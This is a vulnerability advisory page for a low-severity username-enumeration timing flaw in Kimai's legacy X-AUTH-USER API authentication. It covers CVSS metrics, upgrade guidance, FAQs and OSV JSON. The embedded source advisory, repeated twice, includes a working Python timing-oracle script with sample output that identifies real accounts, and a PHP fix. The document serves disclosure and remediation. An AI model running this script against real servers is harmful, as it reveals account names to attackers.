GHSA-jrc6-fmhw-fpq2: Kimai Username Enumeration Vulnerability

LOW
CVSS 3.7
CWE-208
Published
Advisory Summary

GHSA-jrc6-fmhw-fpq2 is a LOW (CVSS 3.7) username enumeration vulnerability (CWE-208: Observable Timing Discrepancy) affecting Kimai libraries in the Packagist ecosystem. The issue involves username enumeration via timing on x-auth-user. Remediation is available by upgrading affected packages to version 2.54.0.

GHSA-jrc6-fmhw-fpq2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-jrc6-fmhw-fpq2
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-208: Observable Timing Discrepancy
Affected Product Kimai
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-jrc6-fmhw-fpq2

To remediate this vulnerability, upgrade all affected Kimai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

kimai/kimai fixed: 2.54.0
Upgrade kimai/kimai to 2.54.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for kimai/kimai

How to Check if You Are Affected

To determine whether your application is affected by GHSA-jrc6-fmhw-fpq2, inspect your project dependencies for Kimai:

inspect dependencies for kimai/kimai

Analyze the terminal output to locate any version of Kimai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.54.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-208: Observable Timing Discrepancy, where two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. In Kimai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Details `src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{"message":"Invalid credentials"}`, HTTP 403), so the leak is purely timing. The `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded. The legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required. ## Proof of concept ```python #!/usr/bin/env python3 """Kimai username enumeration via X-AUTH-USER timing oracle.""" import argparse import ssl import statistics import sys import time import urllib.error import urllib.request PROBE_PATH = "/api/users/me" BASELINE_USER = "baseline_no_such_user_zzz" DUMMY_TOKEN = "x" * 32 def probe(url, user, ctx): req = urllib.request.Request( url + PROBE_PATH, headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN}, ) t0 = time.perf_counter() try: urllib.request.urlopen(req, context=ctx, timeout=10).read() except urllib.error.HTTPError as e: e.read() return (time.perf_counter() - t0) * 1000.0 def median_ms(url, user, samples, ctx): return statistics.median(probe(url, user, ctx) for _ in range(samples)) def load_candidates(path): with open(path) as f: return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")] def main(): ap = argparse.ArgumentParser(description=__doc__.strip()) ap.add_argument("-u", "--url", required=True, help="base URL, e.g. https://kimai.example") ap.add_argument("-l", "--list", required=True, metavar="FILE", help="one candidate username per line") ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS", help="median delta over baseline that flags a real user") ap.add_argument("-n", "--samples", type=int, default=15) ap.add_argument("--verify-tls", action="store_true") args = ap.parse_args() url = args.url.rstrip("/") ctx = None if args.verify_tls else ssl._create_unverified_context() candidates = load_candidates(args.list) baseline = median_ms(url, BASELINE_USER, args.samples, ctx) print(f"baseline: {baseline:.1f} ms", file=sys.stderr) width = max(len(u) for u in candidates) print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict") print("-" * (width + 30)) for user in candidates: m = median_ms(url, user, args.samples, ctx) delta = m - baseline verdict = "REAL" if delta > args.threshold else "-" print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}") if __name__ == "__main__": main() ``` Usage: ``` $ ./timing_oracle.py -u https://target -l users.txt -n 15 [*] calibrating baseline with 15 samples [*] baseline median: 37.7 ms [*] probing 13 candidates (n=15, threshold=15.0 ms) username median delta verdict ---------------------------------------------------------- user1@example.com 64.2ms +26.5ms REAL user2@example.com 72.4ms +34.7ms REAL user3@example.com 70.0ms +32.3ms REAL tester.nonexistent@example.com 37.2ms -0.5ms - admin 63.6ms +25.9ms REAL administrator 38.2ms +0.4ms - root 37.3ms -0.4ms - test 33.6ms -4.1ms - demo 38.2ms +0.5ms - kimai 37.0ms -0.7ms - nonexistent_user_aaa 38.1ms +0.4ms - nonexistent_user_bbb 37.5ms -0.2ms - nonexistent_user_ccc 38.4ms +0.7ms - ``` In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each. ## Fix In `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence: ```php private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0'; try { $user = $this->userProvider->loadUserByIdentifier($credentials['username']); } catch (UserNotFoundException $e) { $this->passwordHasherFactory ->getPasswordHasher(User::class) ->verify(self::DUMMY_HASH, $credentials['password']); throw $e; } ``` The dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant. ## Relevance The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. 

GHSA-jrc6-fmhw-fpq2 Affected Kimai Versions

1 component(s)
Fixed Versions:
2.54.0
Product / Package Ecosystem Affected Versions Fixed Version
kimai/kimai
Packagist
< 2.54.0
2.54.0

References

Frequently Asked Questions

What is GHSA-jrc6-fmhw-fpq2?
GHSA-jrc6-fmhw-fpq2 is a security vulnerability in Kimai involving Username enumeration via timing on X-AUTH-USER under CWE-208: Observable Timing Discrepancy.
Which Kimai versions are affected?
Affected versions include releases prior to 2.54.0 across affected packages: kimai/kimai.
What version fixes GHSA-jrc6-fmhw-fpq2?
Upgrading to 2.54.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is kimai/kimai affected?
Yes, kimai/kimai is affected in releases prior to 2.54.0. Upgrade your dependency to 2.54.0 or later.
What is the CVSS score of GHSA-jrc6-fmhw-fpq2?
GHSA-jrc6-fmhw-fpq2 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with GHSA-jrc6-fmhw-fpq2?
GHSA-jrc6-fmhw-fpq2 is classified under CWE-208: Observable Timing Discrepancy (Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.).
How can I check Packagist dependencies for GHSA-jrc6-fmhw-fpq2?
Run the dependency tree command: 'inspect dependencies for kimai/kimai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jrc6-fmhw-fpq2",
  "modified" : "2026-04-17T22:30:59Z",
  "published" : "2026-04-17T22:30:59Z",
  "aliases" : [ ],
  "summary" : "Kimai: Username enumeration via timing on X-AUTH-USER",
  "details" : "## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(req, context=ctx, timeout=10).read()\n    except urllib.error.HTTPError as e:\n        e.read()\n    return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n    return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n    with open(path) as f:\n        return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=__doc__.strip())\n    ap.add_argument(\"-u\", \"--url\", required=True,\n                    help=\"base URL, e.g. https://kimai.example\")\n    ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n                    help=\"one candidate username per line\")\n    ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n                    help=\"median delta over baseline that flags a real user\")\n    ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n    ap.add_argument(\"--verify-tls\", action=\"store_true\")\n    args = ap.parse_args()\n\n    url = args.url.rstrip(\"/\")\n    ctx = None if args.verify_tls else ssl._create_unverified_context()\n    candidates = load_candidates(args.list)\n\n    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n    print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n    width = max(len(u) for u in candidates)\n    print(f\"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict\")\n    print(\"-\" * (width + 30))\n    for user in candidates:\n        m = median_ms(url, user, args.samples, ctx)\n        delta = m - baseline\n        verdict = \"REAL\" if delta > args.threshold else \"-\"\n        print(f\"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername                        median     delta  verdict\n----------------------------------------------------------\nuser1@example.com               64.2ms   +26.5ms  REAL\nuser2@example.com               72.4ms   +34.7ms  REAL\nuser3@example.com               70.0ms   +32.3ms  REAL\ntester.nonexistent@example.com  37.2ms    -0.5ms  -\nadmin                           63.6ms   +25.9ms  REAL\nadministrator                   38.2ms    +0.4ms  -\nroot                            37.3ms    -0.4ms  -\ntest                            33.6ms    -4.1ms  -\ndemo                            38.2ms    +0.5ms  -\nkimai                           37.0ms    -0.7ms  -\nnonexistent_user_aaa            38.1ms    +0.4ms  -\nnonexistent_user_bbb            37.5ms    -0.2ms  -\nnonexistent_user_ccc            38.4ms    +0.7ms  -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';\n\ntry {\n    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);\n} catch (UserNotFoundException $e) {\n    $this->passwordHasherFactory\n        ->getPasswordHasher(User::class)\n        ->verify(self::DUMMY_HASH, $credentials['password']);\n    throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. ",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "kimai/kimai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.54.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.53.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kimai/kimai"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-208" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-17T22:30:59Z",
    "nvd_published_at" : null
  }
}